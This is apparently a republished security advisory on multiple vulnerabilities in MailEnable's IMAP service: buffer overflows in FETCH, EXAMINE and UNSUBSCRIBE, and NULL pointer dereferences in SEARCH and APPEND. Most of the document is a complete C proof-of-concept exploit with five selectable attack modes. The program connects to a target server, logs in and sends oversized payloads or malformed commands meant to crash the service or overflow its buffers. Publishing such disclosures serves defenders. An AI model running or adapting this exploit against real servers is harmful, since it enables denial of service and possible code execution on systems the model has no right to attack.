|
|
|
|
| |
| MailEnable is "a mail server for Windows which supports various protocols like SMTP, POP3, IMAP, webmail and a HTTPMail service". Multiple vulnerabilities have been discovered in the MailEnable product these vulnerabilities allow attacker to trigger buffer overflows as well as NULL pointer references. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/maildisable-adv.txt
|
| |
Multiple post-auth buffer-overflows
The IMAP service (MEIMAPS.exe) of MailEnable is affected by some buffer-overflow vulnerabilities caused by too long parameters passed to the FETCH, EXAMINE and UNSUBSCRIBE commands allowing an attacker to execute malicious code.
All the vulnerable commands require an account to be exploited.
NULL pointers
The IMAP service is affected also by two NULL pointer vulnerabilities exploitable through the omission of the required arguments for the SEARCH and APPEND commands, where the first can be used by unauthenticated attackers too.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/maildisable.zip
*/
#include
#include
#include
#include
#include
#include
#ifdef WIN32
#include
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include
#include
#include
#include
#include
#include
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 143
#define BUFFSZ 2050
#define BOF "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
int fgetz(u8 *data, int size, FILE *fd);
int imap_send(int sd, u8 *cmd, ...);
int imap_recv(int sd, u8 *buff, int maxsz);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int tag;
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
step = 1,
attack;
u16 port = PORT;
u8 buff[BUFFSZ],
folder[128],
user[128],
pass[128];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"MailEnable Professional/Enterprise <= 3.1.3 IMAP multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = post-auth buffer-overflow in FETCH\n"
" 2 = post-auth buffer-overflow in EXAMINE\n"
" 3 = post-auth buffer-overflow in UNSUBSCRIBE\n"
" 4 = pre-auth NULL pointer in SEARCH\n"
" 5 = post-auth NULL pointer in APPEND\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if((attack < 1) || (attack > 5)) {
printf("\nError: wrong attack number (%s)\n", argv[1]);
exit(1);
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
strcpy(folder, "Inbox");
user[0] = 0;
if(attack != 4) {
printf("- insert the IMAP username: ");
fgetz(user, sizeof(user), stdin);
printf("- insert password: ");
fgetz(pass, sizeof(pass), stdin);
}
redo:
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
tag = 1;
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
if(user[0]) {
imap_send(sd, "LOGIN", user, pass, NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
if(!strstr(buff, " OK LOGIN")) goto quit;
}
if(attack == 1) {
if(step == 1) {
printf("- at least one message in the folder is required, so I add it\n");
imap_send(sd, "APPEND", folder, "{0}", NULL); // needed in case doesn't contain stuff!
if(imap_recv(sd, buff, BUFFSZ) < 0) {
printf("\nError: seems to exist problems with the folder %s\n", folder);
printf("- type the name of another folder which contains mails: ");
fgetz(folder, sizeof(folder), stdin);
} else {
send(sd, "\r\n", 2, 0);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
imap_send(sd, "LOGOUT", NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
}
close(sd);
step++;
goto redo;
}
imap_send(sd, "SELECT", folder, NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
if(strstr(buff, " BAD ") || strstr(buff, " failed ")) {
close(sd);
printf("\nError: seems to exist problems with the folder %s\n", folder);
printf("- type the name of another folder which contains mails: ");
fgetz(folder, sizeof(folder), stdin);
goto redo;
}
imap_send(sd, "LIST", "\"\"", "\"\"", NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
imap_send(sd, "FETCH", "1:4", BOF, NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
} else if(attack == 2) {
imap_send(sd, "EXAMINE", BOF, NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
} else if(attack == 3) {
imap_send(sd, "UNSUBSCRIBE", BOF, NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
} else if(attack == 4) {
imap_send(sd, "SEARCH", NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
} else if(attack == 5) {
imap_send(sd, "APPEND", NULL);
if(imap_recv(sd, buff, BUFFSZ) < 0) goto quit;
}
quit:
close(sd);
printf("- done\n");
return(0);
}
int fgetz(u8 *data, int size, FILE *fd) {
u8 *p;
fgets(data, size, fd);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
return(p - data);
}
int imap_send(int sd, u8 *cmd, ...) {
va_list ap;
u8 buff[BUFFSZ],
*arg,
*p;
p = buff;
p += sprintf(buff, "A%03d %s", tag++, cmd);
va_start(ap, cmd);
while((arg = va_arg(ap, u8 *))) {
p += sprintf(p, " %s", arg);
}
va_end(ap);
printf(" %s\n", buff);
p += sprintf(p, "\r\n");
send(sd, buff, p - buff, 0);
return(0);
}
int imap_recv(int sd, u8 *buff, int maxsz) {
int len;
u8 tmp[maxsz];
maxsz--;
do {
for(len = 0; len < maxsz; len++) {
if(timeout(sd, 5) < 0) return(-1);
if(recv(sd, tmp + len, 1, 0) <= 0) return(-1);
if(tmp[len] == '\r') tmp[len] = 0;
if(tmp[len] == '\n') break;
}
tmp[len] = 0;
printf(" %s\n", tmp);
if(tag == 1) break;
} while(tmp[0] == '*');
strcpy(buff, tmp);
return(len);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fdr;
int err;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fdr);
FD_SET(sock, &fdr);
err = select(sock + 1, &fdr, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|